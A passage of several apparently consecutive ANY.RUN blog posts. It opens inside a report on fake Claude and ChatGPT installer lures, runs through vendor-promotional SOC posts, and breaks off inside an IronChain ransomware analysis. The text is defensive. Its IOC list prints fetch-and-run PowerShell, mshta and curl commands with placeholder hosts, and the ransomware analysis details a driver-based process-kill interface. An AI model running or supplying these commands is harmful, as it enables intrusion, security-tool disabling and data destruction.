• Everyone else: fake desktop apps and AI chats for anyone who searches for an AI app.

Threat Intelligence Lookup also shows the industry of the organization that submitted each analysis. We used that data to see which industries appeared across the campaign queries.

The table below shows how many of the seven campaign queries included submissions from each industry, both globally and among US submitters. These figures show how widely an industry appears across the campaigns, not the number or share of victims.

The list is led by sectors with large developer and knowledge-worker populations. Among US submitters, consulting stands out in the fake Claude Code installers, education in the ChatGPT-themed chains, and manufacturing across the CLI lures.

How Organizations Can Reduce the Risk

Reducing exposure to fake AI campaigns requires both stronger control over how employees access AI software and better visibility when suspicious activity reaches an endpoint. The goal is to limit risky user actions, detect malicious behavior earlier, and give SOC teams enough context to respond before access spreads.

Make the Approved AI Catalog the Easiest Path

Every pattern in this research starts with an employee looking for an AI tool on their own. Publish a short list of approved AI tools with their official sources (vendor site, winget, Homebrew, or the vendor’s package) and install them through MDM or the software portal. Then a search result has less reason to become the employee’s first stop.

Give AI Tools an Owner and a Budget

In IBM’s 2026 Cost of a Data Breach study, shadow AI incidents more than doubled, from 20% to 43% of security incidents. Only about a third of organizations strictly approve AI tools before deployment, according to HIPAA Journal.

Assign one owner for AI tool requests and give that person a budget for licenses, so teams can get approved software faster than they can find a “free download.” Review the approved list regularly, as the kits in this report already imitate newer names such as OpenClaw and Manus alongside Claude and ChatGPT.

Take Paste-and-Run Away from Standard Users

InstallFix and ClickFix depend on users being able to open a shell and execute copied commands. Restrict mshta.exe, wscript.exe, and unsigned PowerShell for standard users with AppLocker, WDAC, and attack surface reduction rules.

Train employees to verify install commands against the vendor’s official documentation rather than copying them from search results, ads, shared chats, or unfamiliar download pages.

Add Behavioral Evidence to Threat Triage

Interactive Sandbox helps SOC teams see what a suspicious installer, pasted command, or fake AI lure actually does after execution. Analysts can confirm malicious behavior, understand the full attack chain, and make containment decisions with more context.

View sandbox session with the Claude Ads lure

Teams using ANY.RUN report 21 minutes less MTTR per incident, 20% less Tier 1 investigation time, and 30% fewer Tier 1-to-Tier 2 escalations, helping SOCs move from investigation to response faster.

Expand a Single Indicator into Campaign Context

Threat Intelligence Lookup helps analysts move beyond one suspicious domain, URL, or file hash and uncover related infrastructure, sandbox activity, and campaign artifacts.

It gives security teams access to intelligence built from activity across 16,000+ organizations and 700,000+ security professionals worldwide, helping them connect individual indicators to broader malicious activity and investigate threats with more context.

Check out the following TI Lookup queries for fuller context and deeper investigations:

1. Domains that start with “claude” but are not claude.ai or claude.com
2. Claude- and ChatGPT-named sites on GitLab Pages and Cloudflare Pages
3. Suricata messages for “AI-themed”

Teams using ANY.RUN report up to 36% higher detection rates, helping SOCs identify more threats and prioritize response with greater confidence.

Keep Detection Current as Infrastructure Changes

Threat Intelligence Feeds deliver fresh malicious domains, IPs, URLs, hashes, and other indicators into existing SIEM, SOAR, and detection workflows. This helps organizations maintain coverage as attackers rotate infrastructure and reduces the manual effort required to keep detections current.

For security teams handling large volumes of alerts, continuously updated threat intelligence can help surface known malicious activity earlier and support faster triage across existing security systems.

Conclusion

Fake AI tools turn trusted software brands into an attack path that depends on a single user action. Across the activity analyzed, attackers repeatedly used familiar AI names, trusted platforms, and convincing install or sign-in flows to reach developer environments, active sessions, and business accounts.

The strongest detection opportunities are behavioral. Domains changed frequently, while command patterns, staging paths, backend APIs, and post-execution activity remained more consistent. The US also stood out, ranking first in both the fake “Download Claude” campaign and the ChatGPT-themed chains, and second overall across all fake AI activity analyzed.

For organizations, the priority is to reduce the time between suspicious activity and a confident response. ANY.RUN supports that workflow by helping teams analyze behavior, connect indicators to wider campaign activity, and bring fresh intelligence into existing security controls.

That can translate into faster investigations, fewer unnecessary escalations, and earlier containment before compromised access turns into wider business impact.

About ANY.RUN

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions trusted by 16,000+ organizations and 700,000+ security professionals worldwide, including 74% of the Fortune 100.

Its Interactive Sandbox, Threat Intelligence Lookup, and Threat Intelligence Feeds work together as one investigation and response workflow.

Security teams can analyze suspicious files, URLs, and behavior in the Interactive Sandbox, pivot from discovered indicators to related infrastructure and campaign activity in TI Lookup, and then bring fresh threat intelligence into existing SIEM, SOAR, EDR, and other security systems through TI Feeds.

This gives SOC teams a continuous path from initial analysis to deeper investigation and broader detection, helping them respond faster and contain malicious activity before it creates wider business impact.

MITRE ATT&CK Mapping

IOCs

Highest-value indicators (they outlived the domains):

• /api/checkBan/<ip>, /api/send/ip, /api/create/user, /api/checkDone/<ip>: the backend API of the AI Ads BiTB kit, the same on Railway and Render hosts.
• /stats-claude-collector.php, /claude_win.html, /api4.php?method=auth&key=<key>&ist=<brand>, /api2.php?method=sendcookjson|sendexts|sendkeys: the trojanized installer kit.
• /curl/<64 hex characters> on compromised sites: the macOS chain behind shared Claude and Perplexity conversations and the claude.ai artifact.
• /api.php?k=22508a7829b008ccdeee686d907f6b2daf74c43cefe1e925: the operator key shared by the ChatGPT shared-chat and custom GPT chains.

Files:

Network:

Host-based:

• Command line – InstallFix, with 10 lure domains from April to September 2026:
  • powershell -c “irm <lure domain>/install.ps1 | iex”
  • followed by powershell “irm <staging domain> | iex”
• Command line – fake “Download Claude” pages:
  • mshta hxxps://<host>/app
  • then cmd /v:on /c “set x=pow&&set y=ershell&&call …\!x!!y! -E <base64>”
• Command line – custom GPT chain:
  • PowerShell -ExecutionPolicy Bypass “irm <IPv4 as a decimal number>/<n> | Out-File $env:temp\<n>.ps1;& $env:temp\<n>.ps1”
  • then msiexec /i %TEMP%\<hex>_MouseJiggleStudio.msi /qn /norestart
• Command line – macOS command on the claude.ai artifact:
  • curl -kfsSL $(echo ‘<base64>’ | base64 -d)
• Scheduled task – trojanized installer:
  • mseupdate · /sc onlogon /rl highest
  • runs msedge.exe –remote-debugging-port=9222 –headless –user-agent=”Google Update 4.3″

The post Fake AI Tools Put US Companies at Risk: Inside Counterfeit Claude, ChatGPT, and Copilot appeared first on ANY.RUN's Cybersecurity Blog.

Drawing on real-world investigations across thousands of organizations, ANY.RUN provides visibility into threats affecting different sectors, from banking to retail. Security teams can see not only what they’re encountering, but also how those threats compare with the broader industry landscape.

Detecting a single threat gives you a verdict. Understanding it in the context of your industry’s threat landscape helps you make a decision.

This visibility helps SOC leaders benchmark performance, identify emerging risks, and make informed decisions about detection and response priorities.

To show what this looks like in practice, we examined 74,086 Sandbox analyses from one financial organization over a quarter and compared its findings with financial services cybersecurity benchmarks.

Key Takeaways

• Threat data reveals more than individual verdicts. It shows which submissions are most likely to be malicious, how quickly threats are detected, and which malware families are prevalent.

• Industry intelligence puts findings into context. Comparing an organization’s data with industry benchmarks reveals differences in threat exposure and helps prioritize security efforts.

• ANY.RUN already has visibility into threats across industries. Organizations can benefit from this knowledge without waiting to encounter every threat themselves.

• These insights can be applied to your own organization. ANY.RUN offers personalized demos using your organization’s data to show its threat landscape, SOC performance metrics, and industry comparisons.

What Can Threat Data Reveal About Your Organization?

Every suspicious file or URL analyzed contributes to a bigger picture of an organization’s threat landscape. Over time, this data reveals which submissions are most likely to be malicious, how quickly threats are detected, and where potential risks are concentrated.

Combined with industry-wide intelligence, these findings help security leaders understand not just what’s happening in their own environment, but how it compares with threats affecting their sector.

To illustrate this, we’ll use data from 74,086 Sandbox analyses conducted by an anonymized financial organization between March 30 and June 22, 2026.

The findings reveal some interesting differences between individual threat exposure and industry-wide trends.

Data Methodology & Privacy

The statistics in this article are generated automatically from public ANY.RUN analyses and telemetry shared by participating organizations. Industry-wide insights are based on aggregated data, without manual access to customers’ private analyses. Organization-specific reports are accessible only to the respective customer.

Which Submissions Are Most Likely to Be Malicious

Over the quarter, files accounted for 39.5% of submissions, while URLs made up the remaining 60.5%. The analyses covered four operating systems: Windows, Linux, Android, and macOS.

But what does this investigation volume reveal about the threats reaching the organization, and how does its detection performance compare with the threat detection for financial institutions industry benchmarks?

The organization’s malicious yield was 12.8%, almost identical to the banking-sector median of 13.0%. Yet this overall figure hides significant differences between submission types.

Files showed more than twice the malicious yield of URL-based samples. The differences become even more apparent when looking at individual file formats.

PowerShell scripts had the highest malicious yield at 88.2%, followed by MSI installers at 75.2% and Outlook email files at 71.5%.

Executables followed at 70.5%, with Android APK files at 59.3%, ZIP archives at 51.4%, and EML email files at 41.9%.

The findings show why file extensions and submission sources alone are insufficient for determining whether an object is malicious. Even common formats like ZIP archives had a malicious yield above 50% in this dataset.

For SOC leaders, these breakdowns provide visibility into where malicious findings are concentrated, helping teams review investigation priorities and workload distribution.

How Quickly Threats Are Detected

Despite the investigation volume and variety of submissions, the organization achieved a median time to detection of 15.1 seconds with ANY.RUN, compared with 16.9 seconds across the banking sector.

What’s more, half of all threats were detected within the first 16.7% of the Sandbox session runtime. In other words, malicious activity could often be identified well before the full analysis session was complete.

This is where ANY.RUN’s accumulated threat intelligence makes a difference. As suspicious files and links are investigated across organizations and industries, the resulting knowledge helps enterprises recognize previously observed threats and malicious behavior more quickly.

These metrics help SOC leaders move beyond individual verdicts to understand investigation workloads, benchmark detection performance, and make informed decisions about operational priorities.

How Your Threat Exposure Differs From Industry Averages

No single SOC can see the full threat landscape on its own. But by comparing an organization’s investigations with data from industry peers, security leaders can understand which threats are widespread, which are emerging, and where their own exposure differs from the sector average.

ANY.RUN provides this broader perspective for enterprise security teams through real-world investigations across organizations and industries. Let’s look at what the comparison reveals for the financial organization in our study.

These findings show why industry benchmarks and organization-specific data need to be considered together. One reveals what’s typical for the sector; the other shows where an organization’s actual threatexposure differs.

The comparison also revealed a striking difference in threat composition. For the financial organization, 74.8% of analyzed threats were malicious code and 25.2% were phishing. Across the wider banking sector, phishing accounted for 88.9% of threats.

For SOC leaders, this distinction matters. Relying on sector averages alone could lead teams to underestimate the resources needed to investigate executable malware in their own environment.

Industry-wide intelligence shows what’s typical for your sector, while your own investigation data reveals where your exposure differs. Together, they provide a stronger basis for detection priorities and resource planning.

Which Threats Are Prevalent Across Your Industry

ANY.RUN’s data from 85 banking organizations shows which threats are most prevalent across the sector. For example, Sneaky2FA and Tycoon were observed in roughly 7 out of 10 organizations.

But the threat landscape extends far beyond a handful of common families. Across 380 malware families observed in ANY.RUN’s threat flow, even the most frequently detected accounts for just 4.8% of detections. This shows that threats aren’t concentrated in just two or three dominant families.

Stealer-type threats lead the observed behavioral categories at 38.4%, while ransomware accounts for just 1.6%.

This is the core of ANY.RUN’s approach: organizations don’t have to wait until a threat reaches their environment to learn about it. Industry-wide intelligence is already available when the first suspicious file or link is submitted for analysis.

Drawing on investigations across the industry, ANY.RUN already has intelligence about which threats are prevalent, how they’re changing, and how frequently they appear among sector peers.

When a suspicious file or link is submitted for analysis, this broader knowledge helps put individual findings into context. For SOC leaders, it provides a stronger basis for reviewing detection coverage, prioritizing threat hunting, and allocating resources according to both industry trends and their organization’s actual exposure.

Why Does Consistent Threat Visibility Matter?

The findings demonstrate how fast detection and industry-wide threat intelligence provide visibility beyond individual investigations. But this visibility is most valuable when it’s part of everyday SOC operations, not just occasional incident response.

The organization maintained 100% working-day coverage, with a 9.2/10 team satisfaction score, CSAT of 80.5, and 74.9% 30-day retention.

Together, these metrics show that the insights come from consistent operational use, providing a foundation for ongoing SOC monitoring and reporting.

ANY.RUN for Finance and Other Organizations: What Can Data Reveal?

The findings above are just one example of what can be learned by combining an organization’s investigation data with ANY.RUN’s industry-wide threat intelligence.

For enterprise SOC teams, ANY.RUN can automatically generate dashboards with key threat landscape and operational metrics, helping security leaders monitor performance, identify trends, and make data-driven decisions.

Here’s what you can get with ANY.RUN:

These insights support everyday operational management, industry benchmarking, and executive-level security reporting. SOC leaders can use them to monitor workloads, identify gaps, and present measurable findings to management.

About ANY.RUN

ANY.RUN provides malware analysis for banks and other industries, as well as threat intelligence solutions used by 700,000+ cybersecurity professionals across 16,000+ organizations, including 74 of the Fortune 100.

Its Interactive Sandbox enables SOC teams to safely investigate suspicious files, URLs, and malware, providing real-time visibility into threat behavior.

Built on data from real-world investigations, ANY.RUN’s Threat Intelligence Lookup helps teams validate threats, uncover context, and support detection and response. Threat Intelligence Feeds deliver fresh, actionable IOCs into existing security workflows.

The post What’s Really Attacking Your Industry? Insights From 74K Sandbox Analyses appeared first on ANY.RUN's Cybersecurity Blog.

Simply put, this was the premise of our recent webinar.

The SOC and business impact of threat intelligence depends largely on how quickly analysts can use it to validate threats, make confident decisions, and take action.

Exploring how to make that happen was the focus of ANY.RUN‘s recent joint webinar with Elastic, “Turn Threat Intelligence Into SOC Action with ANY.RUN and Elastic Security.”

Watch the full webinar

How It Went

ANY.RUN CTO Dmitry Marinov and Elastic Principal Solutions Architect Tammy Torbert came together for a live discussion on making threat intelligence work in daily SOC operations.

And we didn’t stop at theory. The webinar included interactive tasks for the audience, a live demo of the ANY.RUN Threat Intelligence and Elastic Security integration, and a Q&A session that gave us a chance to dive into even more practical questions from our viewers.

A big thank you to the Elastic team for making this session happen, and to everyone who joined us, took part, and brought great questions to the discussion!

Executive Takeaways

So, what actually makes threat intelligence useful in daily SOC work? During our discussion, we narrowed it to three things:

1. Threat Intelligence Has to Stay Relevant

Threat infrastructure changes quickly, and indicators can lose relevance just as fast.

Solution: ANY.RUN Threat Intelligence Feeds deliver continuously validated, high-confidence IOCs from real-world investigations by more than 16,000 SOC teams and 700,000 security professionals. This helps SOC teams keep detection workflows aligned with active threats.

Outcome: Earlier identification of known malicious activity, less manual IOC validation, and more analyst time for complex investigations.

2. Context Helps Analysts Make Better Decisions

An IOC match can validate suspicious activity, but analysts still need to understand what happened and how urgently they should respond.

Solution: ANY.RUN Threat Intelligence connects IOC matches to behavioral evidence from Sandbox analyses, helping analysts assess threat severity without relying on indicator matches alone.

Outcome: Faster, more confident triage, better prioritization of high-risk incidents, and fewer unnecessary escalations.

3. TI Works Better Inside Existing SOC Workflows

Manual IOC lookups, switching between systems, and moving data between sources all add time to investigations.

Solution: Integrating ANY.RUN TI Feeds with Elastic Security brings fresh IOCs into alert correlation, prioritization, and detection workflows without requiring analysts to switch between systems.

Outcome: Faster validation of suspicious activity, fewer manual investigation steps, and more analyst capacity for complex cases.

Explore all ANY.RUN integrations

Putting It Into Practice: ANY.RUN Threat Intelligence and Elastic Security

The Threat Intelligence Feeds integration with Elastic Security brings fresh, high-confidence indicators directly into existing Elastic workflows. This helps teams:

• Identify known threats earlier by correlating Elastic security events with fresh ANY.RUN IOCs to surface malicious activity for investigation.

• Respond more confidently by prioritizing alerts based on IOC matches and threat context to guide triage decisions.

• Reduce manual investigation steps by accessing ANY.RUN indicators directly in Elastic for IOC validation, threat searches, and investigation workflows.

• Validate suspicious activity with behavioral evidence by pivoting from Elastic to related ANY.RUN Sandbox analyses when an IOC match requires deeper investigation.

The result is faster investigation of known threats, less context switching, and more analyst time for cases that require deeper analysis.

Beyond Threat Intelligence Feeds: Supporting the Investigation Lifecycle

TI Feeds are just one part of how ANY.RUN supports daily SOC workflows.

For broader threat intelligence needs, Threat Intelligence Lookup & YARA Search help analysts investigate IOCs, uncover related threats, and hunt for malware, accelerating alert enrichment and threat hunting. TI Reports provide curated intelligence on emerging threats to help teams track emerging threats and adjust investigation priorities.

When an alert requires deeper investigation, the Interactive Sandbox provides real-time visibility into threat behavior across Windows, Linux, Android, and macOS environments. API access, integrations, and Automated Interactivity help streamline repetitive analysis tasks, while team collaboration supports consistent investigation workflows across the SOC.

Together, these solutions support the investigation process from early threat detection and enrichment to in-depth behavioral analysis.

Business Impact for SOC Leaders

By bringing fresh intelligence, behavioral context, and malware analysis into existing workflows, SOC teams can:

• Reduce investigation costs through faster triage and fewer unnecessary escalations.

• Improve SOC efficiency by reducing manual work and freeing up analysts for higher-priority cases.

• Lower business risk exposure through earlier threat detection and faster, more informed response decisions.

The result is a more efficient SOC that can handle growing threats with existing resources.

About ANY.RUN

ANY.RUN provides malware analysis and threat intelligence solutions used by 700,000+ cybersecurity professionals across 16,000+ organizations, including 74 of theFortune 100.

Its Interactive Sandbox helps SOC teams safely investigate suspicious files, URLs, phishing, and malware with real-time visibility into threat behavior.

Threat Intelligence Lookup provides context from real-world investigations for threat hunting, detection, and response, while Threat Intelligence Feeds deliver fresh IOCs directly into existing security workflows.

FAQ

The post Making Threat Intelligence Work for SOC Teams: ANY.RUN & Elastic Webinar Insights appeared first on ANY.RUN's Cybersecurity Blog.

As attacks become harder to validate and easier to hide inside legitimate services and workflows, SOC processes start to show their limits. Below, we look at five critical pain points affecting modern US SOCs and practical ways to address them.

What Modern SOC Teams Are Up Against

Recent industry research shows how much pressure security operations teams are under.

According to the 2026 Creating a Modern and Mature Security Operations Center Report from Optiv, Palo Alto Networks, and Ponemon Institute, 52% of organizations reported an increase in alert and incident volumes, while 46% cited insufficient staffing. The same research found that 36% of alerts and incidents are still investigated manually.

The 2026 SANS SOC Survey points to another major challenge: 24% of cyber leaders identified lack of enterprise-wide visibility as the biggest barrier to SOC effectiveness.

Together, these findings show that modern SOCs are not only dealing with more activity, but also with limited analyst capacity, fragmented visibility, and investigation processes that still require too much manual work.

1. Too Many Alerts Still Require Too Much Analyst Work

Growing alert volume is only part of the problem. The bigger issue is how much analyst time is still required to understand whether an alert represents a real threat.

According to the research from Optiv and Palo Alto Networks, SOCs manage an average of 2,566 alerts and incidents per day, while 36% of alerts and incidents are still investigated manually.

For Tier 1 analysts, this often means spending valuable time collecting evidence from different sources, checking suspicious files or URLs, reconstructing execution chains, and deciding whether a case should be escalated. When this work is repeated across hundreds or thousands of alerts, even relatively simple investigations can create bottlenecks.

How to Solve It

The goal should be to reduce the amount of manual work required to reach a confident verdict.

With ANY.RUN’s Interactive Sandbox, analysts can safely interact with suspicious files, links, and phishing pages inside an isolated environment. They can click through pages, open files, follow redirects, and observe how the attack behaves without putting corporate systems at risk. This gives analysts more confidence in what they are seeing and helps them understand the real attack flow.

See how a recent complex attack targeting US is analyzed inside ANY.RUN sandbox:

Check analysis session now

Automated Interactivity can perform many of these actions automatically, keeping multi-stage attacks moving even when they require clicks, file launches, or other user interaction.

As a result, Tier 1 analysts can reach a verdict with less repetitive manual work and escalate only the cases that genuinely need deeper investigation.

For SOC teams using ANY.RUN, this approach can help cut Tier 1 investigation time by 20% and reduce Tier 1-to-Tier 2 escalations by 30%.

2. Analysts Still Have to Reconstruct Attacks Across Too Many Security Solutions

As SOC environments grow, security technologies that work well for one task can still create friction across the wider investigation process.

A single incident may require an analyst to validate a suspicious file or URL, inspect its behavior, check related infrastructure, enrich the findings with threat intelligence, share the evidence with teammates, and then pass the result into SIEM, SOAR, or another response system. When each step happens in a separate platform, context can be lost between stages, and the same evidence may need to be collected more than once.

For modern SOCs, this creates a need for an enterprise-grade security analysis environment that supports the investigation process as a whole.

How to Solve It

An enterprise-grade solution should help analysts move through the investigation without constantly rebuilding context.

With ANY.RUN, the process can start with analyzing a suspicious file or URL in the Interactive Sandbox. Analysts can see what happens during execution and collect the behavioral evidence and indicators generated by the attack.

From there, Threat Intelligence Lookup can help expand the investigation around related domains, IPs, URLs, files, and previous malicious activity. Threat Intelligence Feeds then deliver fresh indicators into the broader security stack, helping teams use what they learn from active threats for detection and hunting beyond a single case.

The findings can also be shared across the team and passed into SIEM, SOAR, and other security systems for response.

For larger SOC teams, capabilities such as private team environments, role-based access, SSO, and integrations across SIEM, SOAR, and threat intelligence systems help keep this process controlled and consistent as the number of analysts and investigations grows.

3. Phishing Creates Dangerous Visibility Gaps

Phishing remains both a high-volume and high-impact SOC problem.

According to ANY.RUN’s 2026 data, phishing exposure reaches 73.4% in finance and 72.2% in manufacturing. In the US, the financial impact is equally significant: the FBI’s 2025 Internet Crime Report recorded 191,561 phishing and spoofing complaints, while Business Email Compromise generated around $3.05 billion in reported losses.

The challenge for SOC teams is no longer simply spotting a suspicious email or URL. Modern phishing campaigns increasingly use fake CAPTCHAs, browser fingerprinting, multi-stage redirects, QR codes, geofencing, and legitimate authentication flows to control who reaches the malicious content and when.

These techniques can make phishing harder to reproduce and investigate consistently, especially when page behavior changes based on browser, location, session, or user interaction. That can delay confirmation of credential theft, token abuse, redirects, or payload delivery.

How to Solve It

SOC teams need visibility into the full browser interaction, not just the URL itself.

In-Browser Data Inspection helps expose what happens inside the browser, including redirects, requests, page activity, and other behavior that may remain hidden during a basic URL check.

Another blind spot is encrypted web traffic. Automatic SSL Decryption allows the sandbox to inspect activity inside HTTPS sessions, helping reveal credential harvesting, redirect chains, token theft, and other malicious behavior that may otherwise look like normal web traffic.

Together, these capabilities give analysts a clearer view of what happens after the initial click, helping them confirm malicious activity earlier and respond with stronger evidence.

4. Security Coverage Doesn’t Always Keep Up with the Environment

Most enterprise environments now span Windows, macOS, Linux, cloud systems, and mobile devices.

The problem is that SOC coverage is not always equally strong across all of them. A team may have solid visibility into Windows activity, but much less confidence when the same attack reaches a Linux server, a developer’s Mac, or another part of the environment.

This matters because attackers can adapt the same campaign to different operating systems. The payload, execution method, and artifacts may change, even when the infrastructure and intent stay the same.

For SOC leaders, that creates a simple risk: the business can expand into new environments faster than security coverage expands with it.

How to Solve It

SOC teams need investigation capabilities that work across the environments they are responsible for.

ANY.RUN supports analysis on Windows, Linux, macOS, and Android, so analysts can investigate a suspicious file or activity in the environment it was built to target.

This helps teams see platform-specific behavior while still identifying shared infrastructure, indicators, and attack patterns across the same campaign.

For decision makers, the goal is straightforward: reduce the chance that a new platform becomes the part of the environment attackers can use with less resistance.

5. Investigation Results Don’t Always Translate into Action

A good investigation is only useful if the result can be understood and acted on by the next person in the process.

In many SOC workflows, analysts still spend time turning technical findings into something another team can use: an escalation note for Tier 2, evidence for incident response, details for threat hunting, or a summary that security leaders can review.

When reporting is inconsistent or too manual, important context can be lost between teams. That can lead to repeated analysis, slower handoffs, and less confidence in the final decision.

How to Solve It

SOC teams need investigation results that are ready to share and act on.

With ANY.RUN’s Tier 1 report, analysts get a structured summary of the investigation that highlights the verdict, key findings, and recommended next steps. Instead of manually rewriting what happened, Tier 1 analysts can pass forward a clear report with the context another analyst needs to understand the case quickly.

The report can also include the technical evidence behind the decision, such as observed behavior, IOCs, network activity, and process details, so Tier 2 or incident response teams do not have to rebuild the investigation from scratch.

This creates a cleaner handoff from investigation to response, with less time spent documenting findings and a lower risk of important context being lost between teams.

Conclusion

Modern US SOCs are not short on security technology. The bigger challenge is making investigations faster, more connected, and easier to act on.

Alert overload, fragmented workflows, evasive phishing, uneven coverage across environments, and weak investigation handoffs all create delays at different stages of the SOC process.

Addressing these gaps requires more than improving one step in isolation. SOC teams need a workflow that helps analysts investigate threats safely, understand the full attack context, work across different environments, and turn findings into clear next actions.

With ANY.RUN, teams can connect these stages more closely and reduce the amount of manual work required to move from an alert to a confident response.

About ANY.RUN

ANY.RUN provides interactive malware analysis and threat intelligence solutions used by 700,000+ cybersecurity professionals across 16,000+ organizations worldwide, including 64% of the Fortune 500.

Its Interactive Sandbox helps SOC teams safely investigate suspicious files, URLs, phishing pages, and malware while watching the attack unfold in real time. Analysts can inspect browser activity, decrypted network traffic, processes, redirects, and other behavior to validate threats faster and collect evidence for response.

ANY.RUN’s Threat Intelligence Lookup turns data from real-world sandbox investigations into context for threat hunting, detection, and incident response. Analysts can pivot from individual indicators to related infrastructure and activity, while Threat Intelligence Feeds continuously deliver newly observed IOCs into existing security systems.

The post 5 Critical Pain Points of Modern US SOCs and How to Solve Them appeared first on ANY.RUN's Cybersecurity Blog.

During Cybersecurity Awareness Month, ransomware remains one of the clearest examples of how a cyber incident can become a business continuity issue. IronChain shows why. It puts business-critical data at risk of permanent loss and can bring operations to a halt. Even paying the ransom may not give victims a reliable way to recover their files, making the impact especially serious for organizations that depend on fast restoration and access to critical systems.

Discover how IronChain’s drivers, encryption logic, and supporting components work together, where the damage happens, and what defenders should watch for when assessing the threat and its potential impact.

Key Takeaways

• IronChain has a destructive encryption path: Its file-handling logic can leave affected data without a reliable recovery route.
• Several drivers support the attack chain: The malware uses separate components for different low-level operations, which makes the overall workflow more complex.
• Recovery is not guaranteed after payment: The available artifacts do not provide enough information for deterministic restoration of encrypted files.
• The build behaves more like wiper-like ransomware: The ransom note suggests recovery, but the technical design can result in permanent data loss.
• Driver and CVE connections matter: Understanding which components are used and how they interact can help defenders spot related activity earlier.
• The business risk is direct: Permanent file loss can lead to downtime, interrupted operations, and expensive recovery efforts.

A Fresh Build of an Existing Family

On September 12, 2026, a new IronChain executable appeared in public malware telemetry. It was compiled only 42 seconds before its first observed VirusTotal submission. The file is a 9.7 MB unsigned, 64-bit Windows program packaged with PyInstaller.

The sample is fresh, but the family is not. Public IronChain files and reports go back to February 2026. Derp and RansomLook had already described its ransom screen, destructive file handling, persistence, disk damage, and weak recovery design.

The September build is still worth studying because it changes the technical picture. It carries four kernel drivers, creates a SYSTEM scheduled task, and contains several programming mistakes that change which actions can run.

The public analysis shows the process tree, network activity, dropped files, and system changes. ANY.RUN’s Interactive Sandbox turns that dense trace into a timeline for deeper reverse engineering, meanwhile the Threat Intelligence supports pivots from hashes, domains, IP addresses, and behavior.

Check sandbox session with IronChain attack

Where IronChain Creates the Biggest Business Risk

• Permanent data loss: IronChain’s file-handling and encryption logic can leave critical files without a reliable recovery path.
• Longer downtime: SYSTEM-level persistence and destructive activity can make containment, cleanup, and restoration more difficult.
• More complex incident response: Four kernel drivers add several low-level components that defenders need to identify, analyze, and contain.
• Unpredictable damage: Programming mistakes may stop some actions from running, but they do not remove the threat. The working parts of the chain can still disrupt systems and destroy data.
• Recovery costs can rise quickly: If critical endpoints, shared files, or recovery systems are affected, organizations may face extended outages, lost productivity, and a much heavier restoration effort.

For financial services cybersecurity teams, this type of ransomware creates an especially serious risk because loss of access to critical data can disrupt customer-facing services, internal operations, and time-sensitive financial processes.

What IronChain Tries to Do

After unpacking the PyInstaller container, we recovered 80 main archive entries, 279 Python modules, the main IronChain.pyc, and four Windows drivers. Static bytecode reconstruction revealed an oversized payload that tries to do nearly everything at once.

Its intended chain asks for administrator rights, creates IronChain_SYSTEM, relocates the executable, starts four driver services, impairs defenses and recovery, encrypts user files, attempts raw disk damage, spreads through shares and removable media, probes networks, and finally blocks input and forces a shutdown.

ANY.RUN recorded several early parts of that plan. The session shows the creation and execution of IronChain_SYSTEM, attempts to disable the firewall, and attempts to stop or disable EventLog and Resmon.

The actions panel also summarizes persistence behavior. These observations helped prioritize the tasking, service, and driver code during static analysis.

A Bug That Keeps the Payload Alive

At first glance, IronChain seems to stop its original process after three important transitions: requesting UAC elevation, launching the SYSTEM task, and starting its relocated copy. Each path calls sys.exit(0).

But the exits sit inside bare exception handlers.

In Python, sys.exit() raises SystemExit. A bare handler catches that exception unless the program treats it separately. IronChain does not. Its handler removes the exception and returns, so normal module execution continues.

The result is that:

• an elevated process can create and run the SYSTEM task, then continue into the payload;
• a non-administrator process can finish its UAC attempts and still continue, although privileged actions may fail;
• the original process can remain alive after starting the relocated copy;
• repeated task creation and overlapping processes are possible.

Static analysis proves continued reachability. It does not tell us exactly how many processes existed during a particular infection. That depends on privileges, task settings, command success, and the host’s security controls.

Four Drivers, but Only One Correct Interface

The public sandbox file view exposed two driver drops before the guest connection ended. Static extraction found two more, bringing the total to four.

Bundling a vulnerable driver does not automatically mean malware can use it. The caller must open the device name that the driver creates, send a supported IOCTL control code, and provide the exact input structure expected by the handler. We compared those details on both sides.

The recovered configuration confirms that IronChain treats all four as potential low-level helpers, but its process-kill routine selects only entries marked for process operations.

Baidu: A Coherent Process-Kill Chain

Baidu’s driver is the only exact match. IronChain opens \\.\BdApiUtil, sends IOCTL 0x800024B4, and supplies a four-byte process identifier. The driver’s device-control dispatch recognizes that value, requires exactly four input bytes, rejects protected PIDs 0 and 4, obtains a process handle, and reaches ZwTerminateProcess.

The full static chain is:

TEXT 
security-process list -> tasklist PID parsing -> DeviceIoControl 
-> \\.\BdApiUtil + 0x800024B4 + 4-byte PID 
-> driver dispatch -> PsLookupProcessByProcessId 
-> ObOpenObjectByPointer -> ZwTerminateProcess 

This is strong evidence of an implemented BYOVD-style process-kill path, not proof of runtime success. IronChain ignores service-start and DeviceIoControl return values, while Windows policy or application controls may block driver loading.

The primitive is consistent with public research in GoodBaiii and the Baidu driver entry in LOLDrivers. Cisco Talos has also documented a different BdApiUtil hash in DeadLock ransomware. NVD’s CVE-2024-51324 description names a different Baidu Antivirus product version, so mapping this exact hash to that CVE should remain qualified even though the process-kill primitive itself is clear.

Safetica: Close, but Rejected Twice

Safetica’s driver exposes the expected device name, but IronChain appears to use an older request contract. The exact 11.26.18 driver requires IOCTL 0xB822A00C and at least eight input bytes. IronChain sends 0xB822200C with four bytes.

Both checks fail before the process termination. This is important because the bundled driver still has a termination operation, but malware possession of that driver is not the same as successful use. Safetica’s CVE-2025-70795 advisory explains the residual BYOVD exposure and its removal in later versions; CERT/CC VU#818729 provides related background.

Lenovo: The Name and Protocol Do Not Match

IronChain stores Lenovo’s LnvMSRIO.sys as BootRepair.sys and tries to open \\.\BootRepair. The exact driver creates \\.\WinMsrDev. Its useful low-level requests also belong to the 0x9C40…. family, not IronChain’s 0x00222014 request.

Version 3.1.0.29 falls in the range discussed in LEN-200860 and Quarkslab’s CVE-2025-8061 analysis. It has powerful low-level operations, but IronChain does not speak its interface. Calling this CVE exploitation would be inaccurate.

ThrottleStop: Dangerous Value, Missing Call

The fourth driver is ThrottleStop 3.0.0.0. IronChain includes the dangerous-looking 0x8000649C value in configuration, but no recovered Python call site sends it. The malware stages and tries to open the driver, then leaves the configured operation unused.

Public work, including Kaspersky’s ThrottleStop analysis and NVD CVE-2025-7771, makes the driver relevant to defenders. It does not fill in a missing call in this sample.

Encryption Without a Recovery Path

IronChain shows a ransom demand, but its cryptography does not preserve what a reliable decryptor would need.

At startup it generates an RSA-4096 key pair and immediately keeps only the public part:

PYTHON 
_PK = RSA.generate(4096).publickey() 

